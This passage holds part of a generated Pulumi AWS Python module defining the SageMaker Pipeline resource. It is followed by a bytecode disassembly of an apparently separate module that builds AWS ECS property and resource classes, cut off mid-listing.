pulumi.Input[str]]]]): pulumi.set(self, "tags_all", value) class Pipeline(pulumi.CustomResource): @overload def __init__( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, parallelism_configuration: Optional[ pulumi.Input[pulumi.InputType["PipelineParallelismConfigurationArgs"]] ] = None, pipeline_definition: Optional[pulumi.Input[str]] = None, pipeline_definition_s3_location: Optional[ pulumi.Input[pulumi.InputType["PipelinePipelineDefinitionS3LocationArgs"]] ] = None, pipeline_description: Optional[pulumi.Input[str]] = None, pipeline_display_name: Optional[pulumi.Input[str]] = None, pipeline_name: Optional[pulumi.Input[str]] = None, role_arn: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None, ): """ Provides a SageMaker Pipeline resource. ```python import pulumi import json import pulumi_aws as aws example = aws.sagemaker.Pipeline("example", pipeline_name="example", pipeline_display_name="example", role_arn=aws_iam_role["example"]["arn"], pipeline_definition=json.dumps({ "Version": "2020-12-01", "Steps": [{ "Name": "Test", "Type": "Fail", "Arguments": { "ErrorMessage": "test", }, }], })) ``` Using `pulumi import`, import pipelines using the `pipeline_name`. For example: ```sh $ pulumi import aws:sagemaker/pipeline:Pipeline test_pipeline pipeline ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[pulumi.InputType['PipelineParallelismConfigurationArgs']] parallelism_configuration: This is the configuration that controls the parallelism of the pipeline. If specified, it applies to all runs of this pipeline by default. see Parallelism Configuration details below. :param pulumi.Input[str] pipeline_definition: The [JSON pipeline definition](https://aws-sagemaker-mlops.github.io/sagemaker-model-building-pipeline-definition-JSON-schema/) of the pipeline. :param pulumi.Input[pulumi.InputType['PipelinePipelineDefinitionS3LocationArgs']] pipeline_definition_s3_location: The location of the pipeline definition stored in Amazon S3. If specified, SageMaker will retrieve the pipeline definition from this location. see Pipeline Definition S3 Location details below. :param pulumi.Input[str] pipeline_description: A description of the pipeline. :param pulumi.Input[str] pipeline_display_name: The display name of the pipeline. :param pulumi.Input[str] pipeline_name: The name of the pipeline. :param pulumi.Input[str] role_arn: The name of the Pipeline (must be unique). :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A map of tags to assign to the resource. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ ... @overload def __init__( __self__, resource_name: str, args: PipelineArgs, opts: Optional[pulumi.ResourceOptions] = None, ): """ Provides a SageMaker Pipeline resource. ```python import pulumi import json import pulumi_aws as aws example = aws.sagemaker.Pipeline("example", pipeline_name="example", pipeline_display_name="example", role_arn=aws_iam_role["example"]["arn"], pipeline_definition=json.dumps({ "Version": "2020-12-01", "Steps": [{ "Name": "Test", "Type": "Fail", "Arguments": { "ErrorMessage": "test", }, }], })) ``` Using `pulumi import`, import pipelines using the `pipeline_name`. For example: ```sh $ pulumi import aws:sagemaker/pipeline:Pipeline test_pipeline pipeline ``` :param str resource_name: The name of the resource. :param PipelineArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts( PipelineArgs, pulumi.ResourceOptions, *args, **kwargs ) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, parallelism_configuration: Optional[ pulumi.Input[pulumi.InputType["PipelineParallelismConfigurationArgs"]] ] = None, pipeline_definition: Optional[pulumi.Input[str]] = None, pipeline_definition_s3_location: Optional[ pulumi.Input[pulumi.InputType["PipelinePipelineDefinitionS3LocationArgs"]] ] = None, pipeline_description: Optional[pulumi.Input[str]] = None, pipeline_display_name: Optional[pulumi.Input[str]] = None, pipeline_name: Optional[pulumi.Input[str]] = None, role_arn: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None, ): opts = pulumi.ResourceOptions.merge( _utilities.get_resource_opts_defaults(), opts ) if not isinstance(opts, pulumi.ResourceOptions): raise TypeError( "Expected resource options to be a ResourceOptions instance" ) if opts.id is None: if __props__ is not None: raise TypeError( "__props__ is only valid when passed in combination with a valid opts.id to get an existing resource" ) __props__ = PipelineArgs.__new__(PipelineArgs) __props__.__dict__["parallelism_configuration"] = parallelism_configuration __props__.__dict__["pipeline_definition"] = pipeline_definition __props__.__dict__[ "pipeline_definition_s3_location" ] = pipeline_definition_s3_location __props__.__dict__["pipeline_description"] = pipeline_description if pipeline_display_name is None and not opts.urn: raise TypeError("Missing required property 'pipeline_display_name'") __props__.__dict__["pipeline_display_name"] = pipeline_display_name if pipeline_name is None and not opts.urn: raise TypeError("Missing required property 'pipeline_name'") __props__.__dict__["pipeline_name"] = pipeline_name __props__.__dict__["role_arn"] = role_arn __props__.__dict__["tags"] = tags __props__.__dict__["arn"] = None __props__.__dict__["tags_all"] = None secret_opts = pulumi.ResourceOptions(additional_secret_outputs=["tagsAll"]) opts = pulumi.ResourceOptions.merge(opts, secret_opts) super(Pipeline, __self__).__init__( "aws:sagemaker/pipeline:Pipeline", resource_name, __props__, opts ) @staticmethod def get( resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, arn: Optional[pulumi.Input[str]] = None, parallelism_configuration: Optional[ pulumi.Input[pulumi.InputType["PipelineParallelismConfigurationArgs"]] ] = None, pipeline_definition: Optional[pulumi.Input[str]] = None, pipeline_definition_s3_location: Optional[ pulumi.Input[pulumi.InputType["PipelinePipelineDefinitionS3LocationArgs"]] ] = None, pipeline_description: Optional[pulumi.Input[str]] = None, pipeline_display_name: Optional[pulumi.Input[str]] = None, pipeline_name: Optional[pulumi.Input[str]] = None, role_arn: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, tags_all: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, ) -> "Pipeline": """ Get an existing Pipeline resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] arn: The Amazon Resource Name (ARN) assigned by AWS to this Pipeline. :param pulumi.Input[pulumi.InputType['PipelineParallelismConfigurationArgs']] parallelism_configuration: This is the configuration that controls the parallelism of the pipeline. If specified, it applies to all runs of this pipeline by default. see Parallelism Configuration details below. :param pulumi.Input[str] pipeline_definition: The [JSON pipeline definition](https://aws-sagemaker-mlops.github.io/sagemaker-model-building-pipeline-definition-JSON-schema/) of the pipeline. :param pulumi.Input[pulumi.InputType['PipelinePipelineDefinitionS3LocationArgs']] pipeline_definition_s3_location: The location of the pipeline definition stored in Amazon S3. If specified, SageMaker will retrieve the pipeline definition from this location. see Pipeline Definition S3 Location details below. :param pulumi.Input[str] pipeline_description: A description of the pipeline. :param pulumi.Input[str] pipeline_display_name: The display name of the pipeline. :param pulumi.Input[str] pipeline_name: The name of the pipeline. :param pulumi.Input[str] role_arn: The name of the Pipeline (must be unique). :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A map of tags to assign to the resource. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags_all: A map of tags assigned to the resource, including those inherited from the provider `default_tags` configuration block. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _PipelineState.__new__(_PipelineState) __props__.__dict__["arn"] = arn __props__.__dict__["parallelism_configuration"] = parallelism_configuration __props__.__dict__["pipeline_definition"] = pipeline_definition __props__.__dict__[ "pipeline_definition_s3_location" ] = pipeline_definition_s3_location __props__.__dict__["pipeline_description"] = pipeline_description __props__.__dict__["pipeline_display_name"] = pipeline_display_name __props__.__dict__["pipeline_name"] = pipeline_name __props__.__dict__["role_arn"] = role_arn __props__.__dict__["tags"] = tags __props__.__dict__["tags_all"] = tags_all return Pipeline(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def arn(self) -> pulumi.Output[str]: """ The Amazon Resource Name (ARN) assigned by AWS to this Pipeline. """ return pulumi.get(self, "arn") @property @pulumi.getter(name="parallelismConfiguration") def parallelism_configuration( self, ) -> pulumi.Output[Optional["outputs.PipelineParallelismConfiguration"]]: """ This is the configuration that controls the parallelism of the pipeline. If specified, it applies to all runs of this pipeline by default. see Parallelism Configuration details below. """ return pulumi.get(self, "parallelism_configuration") @property @pulumi.getter(name="pipelineDefinition") def pipeline_definition(self) -> pulumi.Output[Optional[str]]: """ The [JSON pipeline definition](https://aws-sagemaker-mlops.github.io/sagemaker-model-building-pipeline-definition-JSON-schema/) of the pipeline. """ return pulumi.get(self, "pipeline_definition") @property @pulumi.getter(name="pipelineDefinitionS3Location") def pipeline_definition_s3_location( self, ) -> pulumi.Output[Optional["outputs.PipelinePipelineDefinitionS3Location"]]: """ The location of the pipeline definition stored in Amazon S3. If specified, SageMaker will retrieve the pipeline definition from this location. see Pipeline Definition S3 Location details below. """ return pulumi.get(self, "pipeline_definition_s3_location") @property @pulumi.getter(name="pipelineDescription") def pipeline_description(self) -> pulumi.Output[Optional[str]]: """ A description of the pipeline. """ return pulumi.get(self, "pipeline_description") @property @pulumi.getter(name="pipelineDisplayName") def pipeline_display_name(self) -> pulumi.Output[str]: """ The display name of the pipeline. """ return pulumi.get(self, "pipeline_display_name") @property @pulumi.getter(name="pipelineName") def pipeline_name(self) -> pulumi.Output[str]: """ The name of the pipeline. """ return pulumi.get(self, "pipeline_name") @property @pulumi.getter(name="roleArn") def role_arn(self) -> pulumi.Output[Optional[str]]: """ The name of the Pipeline (must be unique). """ return pulumi.get(self, "role_arn") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ A map of tags to assign to the resource. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ return pulumi.get(self, "tags") @property @pulumi.getter(name="tagsAll") def tags_all(self) -> pulumi.Output[Mapping[str, str]]: """ A map of tags assigned to the resource, including those inherited from the provider `default_tags` configuration block. """ warnings.warn("""Please use `tags` instead.""", DeprecationWarning) pulumi.log.warn("""tags_all is deprecated: Please use `tags` instead.""") return pulumi.get(self, "tags_all")
data/pulumi_aws-6.22.2/pulumi_aws/sagemaker/pipeline.py
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LOAD_CONST 1 LOAD_CONST ('AWSObject', 'AWSProperty', 'PropsDictType', 'Tags') IMPORT_NAME IMPORT_FROM AWSObject STORE_NAME AWSObject IMPORT_FROM AWSProperty STORE_NAME AWSProperty IMPORT_FROM PropsDictType STORE_NAME PropsDictType IMPORT_FROM Tags STORE_NAME Tags POP_TOP LOAD_CONST 1 LOAD_CONST ('boolean', 'double', 'integer') IMPORT_NAME validators IMPORT_FROM boolean STORE_NAME boolean IMPORT_FROM double STORE_NAME double IMPORT_FROM integer STORE_NAME integer POP_TOP LOAD_CONST 1 LOAD_CONST ('LAUNCH_TYPE_EC2',) IMPORT_NAME validators.ecs IMPORT_FROM LAUNCH_TYPE_EC2 STORE_NAME LAUNCH_TYPE_EC2 POP_TOP LOAD_CONST 1 LOAD_CONST ('LAUNCH_TYPE_FARGATE',) IMPORT_NAME validators.ecs IMPORT_FROM LAUNCH_TYPE_FARGATE STORE_NAME LAUNCH_TYPE_FARGATE POP_TOP LOAD_CONST 1 LOAD_CONST ('RUNTIME_PLATFORM_CPU_CONFIGURATIONS',) IMPORT_NAME validators.ecs IMPORT_FROM RUNTIME_PLATFORM_CPU_CONFIGURATIONS STORE_NAME RUNTIME_PLATFORM_CPU_CONFIGURATIONS POP_TOP LOAD_CONST 1 LOAD_CONST ('RUNTIME_PLATFORM_OS_FAMILY',) IMPORT_NAME validators.ecs IMPORT_FROM RUNTIME_PLATFORM_OS_FAMILY STORE_NAME RUNTIME_PLATFORM_OS_FAMILY POP_TOP LOAD_CONST 1 LOAD_CONST ('SCHEDULING_STRATEGY_DAEMON',) IMPORT_NAME validators.ecs IMPORT_FROM SCHEDULING_STRATEGY_DAEMON STORE_NAME SCHEDULING_STRATEGY_DAEMON POP_TOP LOAD_CONST 1 LOAD_CONST ('SCHEDULING_STRATEGY_REPLICA',) IMPORT_NAME validators.ecs IMPORT_FROM SCHEDULING_STRATEGY_REPLICA STORE_NAME SCHEDULING_STRATEGY_REPLICA POP_TOP LOAD_CONST 1 LOAD_CONST ('ecs_efs_encryption_status', 'ecs_proxy_type', 'launch_type_validator', 'placement_constraint_validator', 'placement_strategy_validator', 'scope_validator', 'validate_ephemeral_storage_size', 'validate_network_port', 'validate_runtime_platform', 'validate_scaling_step_size', 'validate_target_capacity', 'validate_transit_encryption_port') IMPORT_NAME validators.ecs IMPORT_FROM ecs_efs_encryption_status STORE_NAME ecs_efs_encryption_status IMPORT_FROM ecs_proxy_type STORE_NAME ecs_proxy_type IMPORT_FROM launch_type_validator STORE_NAME launch_type_validator IMPORT_FROM placement_constraint_validator STORE_NAME placement_constraint_validator IMPORT_FROM placement_strategy_validator STORE_NAME placement_strategy_validator IMPORT_FROM scope_validator STORE_NAME scope_validator IMPORT_FROM validate_ephemeral_storage_size STORE_NAME validate_ephemeral_storage_size IMPORT_FROM validate_network_port STORE_NAME validate_network_port IMPORT_FROM validate_runtime_platform STORE_NAME validate_runtime_platform IMPORT_FROM validate_scaling_step_size STORE_NAME validate_scaling_step_size IMPORT_FROM validate_target_capacity STORE_NAME validate_target_capacity IMPORT_FROM validate_transit_encryption_port STORE_NAME validate_transit_encryption_port POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object ManagedScaling at 0x7fab823096f0, file "f.py", line 25> LOAD_CONST 'ManagedScaling' MAKE_FUNCTION LOAD_CONST 'ManagedScaling' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ManagedScaling LOAD_BUILD_CLASS LOAD_CONST <code object AutoScalingGroupProvider at 0x7fab82309780, file "f.py", line 39> LOAD_CONST 'AutoScalingGroupProvider' MAKE_FUNCTION LOAD_CONST 'AutoScalingGroupProvider' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME AutoScalingGroupProvider LOAD_BUILD_CLASS LOAD_CONST <code object CapacityProvider at 0x7fab82309390, file "f.py", line 52> LOAD_CONST 'CapacityProvider' MAKE_FUNCTION LOAD_CONST 'CapacityProvider' LOAD_NAME AWSObject CALL_FUNCTION STORE_NAME CapacityProvider LOAD_BUILD_CLASS LOAD_CONST <code object CapacityProviderStrategyItem at 0x7fab82309a50, file "f.py", line 66> LOAD_CONST 'CapacityProviderStrategyItem' MAKE_FUNCTION LOAD_CONST 'CapacityProviderStrategyItem' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME CapacityProviderStrategyItem LOAD_BUILD_CLASS LOAD_CONST <code object ExecuteCommandLogConfiguration at 0x7fab82309030, file "f.py", line 78> LOAD_CONST 'ExecuteCommandLogConfiguration' MAKE_FUNCTION LOAD_CONST 'ExecuteCommandLogConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ExecuteCommandLogConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object ExecuteCommandConfiguration at 0x7fab823098a0, file "f.py", line 92> LOAD_CONST 'ExecuteCommandConfiguration' MAKE_FUNCTION LOAD_CONST 'ExecuteCommandConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ExecuteCommandConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object ClusterConfiguration at 0x7fab82309c90, file "f.py", line 104> LOAD_CONST 'ClusterConfiguration' MAKE_FUNCTION LOAD_CONST 'ClusterConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ClusterConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object ClusterSetting at 0x7fab703f0030, file "f.py", line 114> LOAD_CONST 'ClusterSetting' MAKE_FUNCTION LOAD_CONST 'ClusterSetting' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ClusterSetting LOAD_BUILD_CLASS LOAD_CONST <code object ServiceConnectDefaults at 0x7fab703f0a50, file "f.py", line 125> LOAD_CONST 'ServiceConnectDefaults' MAKE_FUNCTION LOAD_CONST 'ServiceConnectDefaults' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ServiceConnectDefaults LOAD_BUILD_CLASS LOAD_CONST <code object Cluster at 0x7fab703f0270, file "f.py", line 135> LOAD_CONST 'Cluster' MAKE_FUNCTION LOAD_CONST 'Cluster' LOAD_NAME AWSObject CALL_FUNCTION STORE_NAME Cluster LOAD_BUILD_CLASS LOAD_CONST <code object CapacityProviderStrategy at 0x7fab703f09c0, file "f.py", line 153> LOAD_CONST 'CapacityProviderStrategy' MAKE_FUNCTION LOAD_CONST 'CapacityProviderStrategy' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME CapacityProviderStrategy LOAD_BUILD_CLASS LOAD_CONST <code object ClusterCapacityProviderAssociations at 0x7fab703f0390, file "f.py", line 165> LOAD_CONST 'ClusterCapacityProviderAssociations' MAKE_FUNCTION LOAD_CONST 'ClusterCapacityProviderAssociations' LOAD_NAME AWSObject CALL_FUNCTION STORE_NAME ClusterCapacityProviderAssociations LOAD_BUILD_CLASS LOAD_CONST <code object PrimaryTaskSet at 0x7fab703f0ae0, file "f.py", line 179> LOAD_CONST 'PrimaryTaskSet' MAKE_FUNCTION LOAD_CONST 'PrimaryTaskSet' LOAD_NAME AWSObject CALL_FUNCTION STORE_NAME PrimaryTaskSet LOAD_BUILD_CLASS LOAD_CONST <code object DeploymentAlarms at 0x7fab703f06f0, file "f.py", line 193> LOAD_CONST 'DeploymentAlarms' MAKE_FUNCTION LOAD_CONST 'DeploymentAlarms' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME DeploymentAlarms LOAD_BUILD_CLASS LOAD_CONST <code object DeploymentCircuitBreaker at 0x7fab703f0780, file "f.py", line 205> LOAD_CONST 'DeploymentCircuitBreaker' MAKE_FUNCTION LOAD_CONST 'DeploymentCircuitBreaker' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME DeploymentCircuitBreaker LOAD_BUILD_CLASS LOAD_CONST <code object DeploymentConfiguration at 0x7fab703f0b70, file "f.py", line 216> LOAD_CONST 'DeploymentConfiguration' MAKE_FUNCTION LOAD_CONST 'DeploymentConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME DeploymentConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object DeploymentController at 0x7fab800c70c0, file "f.py", line 229> LOAD_CONST 'DeploymentController' MAKE_FUNCTION LOAD_CONST 'DeploymentController' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME DeploymentController LOAD_BUILD_CLASS LOAD_CONST <code object LoadBalancer at 0x7fab800c7030, file "f.py", line 239> LOAD_CONST 'LoadBalancer' MAKE_FUNCTION LOAD_CONST 'LoadBalancer' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME LoadBalancer LOAD_BUILD_CLASS LOAD_CONST <code object AwsvpcConfiguration at 0x7fab800c71e0, file "f.py", line 252> LOAD_CONST 'AwsvpcConfiguration' MAKE_FUNCTION LOAD_CONST 'AwsvpcConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME AwsvpcConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object NetworkConfiguration at 0x7fab80036ed0, file "f.py", line 264> LOAD_CONST 'NetworkConfiguration' MAKE_FUNCTION LOAD_CONST 'NetworkConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME NetworkConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object PlacementConstraint at 0x7fab80036a50, file "f.py", line 274> LOAD_CONST 'PlacementConstraint' MAKE_FUNCTION LOAD_CONST 'PlacementConstraint' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME PlacementConstraint LOAD_BUILD_CLASS LOAD_CONST <code object PlacementStrategy at 0x7fab800366f0, file "f.py", line 285> LOAD_CONST 'PlacementStrategy' MAKE_FUNCTION LOAD_CONST 'PlacementStrategy' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME PlacementStrategy LOAD_BUILD_CLASS LOAD_CONST <code object Secret at 0x7fab80036930, file "f.py", line 296> LOAD_CONST 'Secret' MAKE_FUNCTION LOAD_CONST 'Secret' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME Secret LOAD_BUILD_CLASS LOAD_CONST <code object LogConfiguration at 0x7fab800365d0, file "f.py", line 307> LOAD_CONST 'LogConfiguration' MAKE_FUNCTION LOAD_CONST 'LogConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME LogConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object ServiceConnectClientAlias at 0x7fab800361e0, file "f.py", line 319> LOAD_CONST 'ServiceConnectClientAlias' MAKE_FUNCTION LOAD_CONST 'ServiceConnectClientAlias' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ServiceConnectClientAlias LOAD_BUILD_CLASS LOAD_CONST <code object ServiceConnectTlsCertificateAuthority at 0x7fab80036c00, file "f.py", line 330> LOAD_CONST 'ServiceConnectTlsCertificateAuthority' MAKE_FUNCTION LOAD_CONST 'ServiceConnectTlsCertificateAuthority' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ServiceConnectTlsCertificateAuthority LOAD_BUILD_CLASS LOAD_CONST <code object ServiceConnectTlsConfiguration at 0x7fab80036810, file "f.py", line 340> LOAD_CONST 'ServiceConnectTlsConfiguration' MAKE_FUNCTION LOAD_CONST 'ServiceConnectTlsConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ServiceConnectTlsConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object TimeoutConfiguration at 0x7fab80036ae0, file "f.py", line 352> LOAD_CONST 'TimeoutConfiguration' MAKE_FUNCTION LOAD_CONST 'TimeoutConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME TimeoutConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object ServiceConnectService at 0x7fab800369c0, file "f.py", line 363> LOAD_CONST 'ServiceConnectService' MAKE_FUNCTION LOAD_CONST 'ServiceConnectService' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ServiceConnectService LOAD_BUILD_CLASS LOAD_CONST <code object ServiceConnectConfiguration at 0x7fab80036db0, file "f.py", line 378> LOAD_CONST 'ServiceConnectConfiguration' MAKE_FUNCTION LOAD_CONST 'ServiceConnectConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ServiceConnectConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object ServiceRegistry at 0x7fab80036f60, file "f.py", line 391> LOAD_CONST 'ServiceRegistry' MAKE_FUNCTION LOAD_CONST 'ServiceRegistry' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ServiceRegistry LOAD_BUILD_CLASS LOAD_CONST <code object EBSTagSpecification at 0x7fab703ae030, file "f.py", line 404> LOAD_CONST 'EBSTagSpecification' MAKE_FUNCTION LOAD_CONST 'EBSTagSpecification' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME EBSTagSpecification LOAD_BUILD_CLASS LOAD_CONST <code object ServiceManagedEBSVolumeConfiguration at 0x7fab703ae780, file "f.py", line 416> LOAD_CONST 'ServiceManagedEBSVolumeConfiguration' MAKE_FUNCTION LOAD_CONST 'ServiceManagedEBSVolumeConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ServiceManagedEBSVolumeConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object ServiceVolumeConfiguration at 0x7fab703ae390, file "f.py", line 435> LOAD_CONST 'ServiceVolumeConfiguration' MAKE_FUNCTION LOAD_CONST 'ServiceVolumeConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ServiceVolumeConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object Service at 0x7fab703ae9c0, file "f.py", line 446> LOAD_CONST 'Service' MAKE_FUNCTION LOAD_CONST 'Service' LOAD_NAME AWSObject CALL_FUNCTION STORE_NAME Service LOAD_BUILD_CLASS LOAD_CONST <code object ContainerDependency at 0x7fab703aec00, file "f.py", line 480> LOAD_CONST 'ContainerDependency' MAKE_FUNCTION LOAD_CONST 'ContainerDependency' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ContainerDependency LOAD_BUILD_CLASS LOAD_CONST <code object Environment at 0x7fab703ae1e0, file "f.py", line 491> LOAD_CONST 'Environment' MAKE_FUNCTION LOAD_CONST 'Environment' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME Environment LOAD_BUILD_CLASS LOAD_CONST <code object EnvironmentFile at 0x7fab703ae930, file "f.py", line 502> LOAD_CONST 'EnvironmentFile' MAKE_FUNCTION LOAD_CONST 'EnvironmentFile' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME EnvironmentFile LOAD_BUILD_CLASS LOAD_CONST <code object FirelensConfiguration at 0x7fab703ae150, file "f.py", line 513> LOAD_CONST 'FirelensConfiguration' MAKE_FUNCTION LOAD_CONST 'FirelensConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME FirelensConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object HealthCheck at 0x7fab703ae420, file "f.py", line 524> LOAD_CONST 'HealthCheck' MAKE_FUNCTION LOAD_CONST 'HealthCheck' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME HealthCheck LOAD_BUILD_CLASS LOAD_CONST <code object HostEntry at 0x7fab703aec90, file "f.py", line 538> LOAD_CONST 'HostEntry' MAKE_FUNCTION LOAD_CONST 'HostEntry' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME HostEntry LOAD_BUILD_CLASS LOAD_CONST <code object Device at 0x7fab703ae5d0, file "f.py", line 549> LOAD_CONST 'Device' MAKE_FUNCTION LOAD_CONST 'Device' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME Device LOAD_BUILD_CLASS LOAD_CONST <code object KernelCapabilities at 0x7fab703aed20, file "f.py", line 561> LOAD_CONST 'KernelCapabilities' MAKE_FUNCTION LOAD_CONST 'KernelCapabilities' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME KernelCapabilities LOAD_BUILD_CLASS LOAD_CONST <code object Tmpfs at 0x7fab703aea50, file "f.py", line 572> LOAD_CONST 'Tmpfs' MAKE_FUNCTION LOAD_CONST 'Tmpfs' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME Tmpfs LOAD_BUILD_CLASS LOAD_CONST <code object LinuxParameters at 0x7fab703ae4b0, file "f.py", line 584> LOAD_CONST 'LinuxParameters' MAKE_FUNCTION LOAD_CONST 'LinuxParameters' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME LinuxParameters LOAD_BUILD_CLASS LOAD_CONST <code object MountPoint at 0x7fab703aedb0, file "f.py", line 600> LOAD_CONST 'MountPoint' MAKE_FUNCTION LOAD_CONST 'MountPoint' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME MountPoint LOAD_BUILD_CLASS LOAD_CONST <code object PortMapping at 0x7fab703aeb70, file "f.py", line 612> LOAD_CONST 'PortMapping' MAKE_FUNCTION LOAD_CONST 'PortMapping' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME PortMapping LOAD_BUILD_CLASS LOAD_CONST <code object RepositoryCredentials at 0x7fab703ae8a0, file "f.py", line 627> LOAD_CONST 'RepositoryCredentials' MAKE_FUNCTION LOAD_CONST 'RepositoryCredentials' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME RepositoryCredentials LOAD_BUILD_CLASS LOAD_CONST <code object ResourceRequirement at 0x7fab703ae270, file "f.py", line 637> LOAD_CONST 'ResourceRequirement' MAKE_FUNCTION LOAD_CONST 'ResourceRequirement' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ResourceRequirement LOAD_BUILD_CLASS LOAD_CONST <code object SystemControl at 0x7fab703ae0c0, file "f.py", line 648> LOAD_CONST 'SystemControl' MAKE_FUNCTION LOAD_CONST 'SystemControl' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME SystemControl LOAD_BUILD_CLASS LOAD_CONST <code object Ulimit at 0x7fab703ae660, file "f.py", line 659> LOAD_CONST 'Ulimit' MAKE_FUNCTION LOAD_CONST 'Ulimit' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME Ulimit LOAD_BUILD_CLASS LOAD_CONST <code object VolumesFrom at 0x7fab703aef60, file "f.py", line 671> LOAD_CONST 'VolumesFrom' MAKE_FUNCTION LOAD_CONST 'VolumesFrom' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME VolumesFrom LOAD_BUILD_CLASS LOAD_CONST <code object ContainerDefinition at 0x7fab703ae300, file "f.py", line 682> LOAD_CONST 'ContainerDefinition' MAKE_FUNCTION LOAD_CONST 'ContainerDefinition' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ContainerDefinition LOAD_BUILD_CLASS LOAD_CONST <code object EphemeralStorage at 0x7fab703aee40, file "f.py", line 730> LOAD_CONST 'EphemeralStorage' MAKE_FUNCTION LOAD_CONST 'EphemeralStorage' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME EphemeralStorage LOAD_BUILD_CLASS LOAD_CONST <code object InferenceAccelerator at 0x7fab702cdf60, file "f.py", line 740> LOAD_CONST 'InferenceAccelerator' MAKE_FUNCTION LOAD_CONST 'InferenceAccelerator' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME InferenceAccelerator LOAD_BUILD_CLASS LOAD_CONST <code object ProxyConfiguration at 0x7fab702cd930, file "f.py", line 751> LOAD_CONST 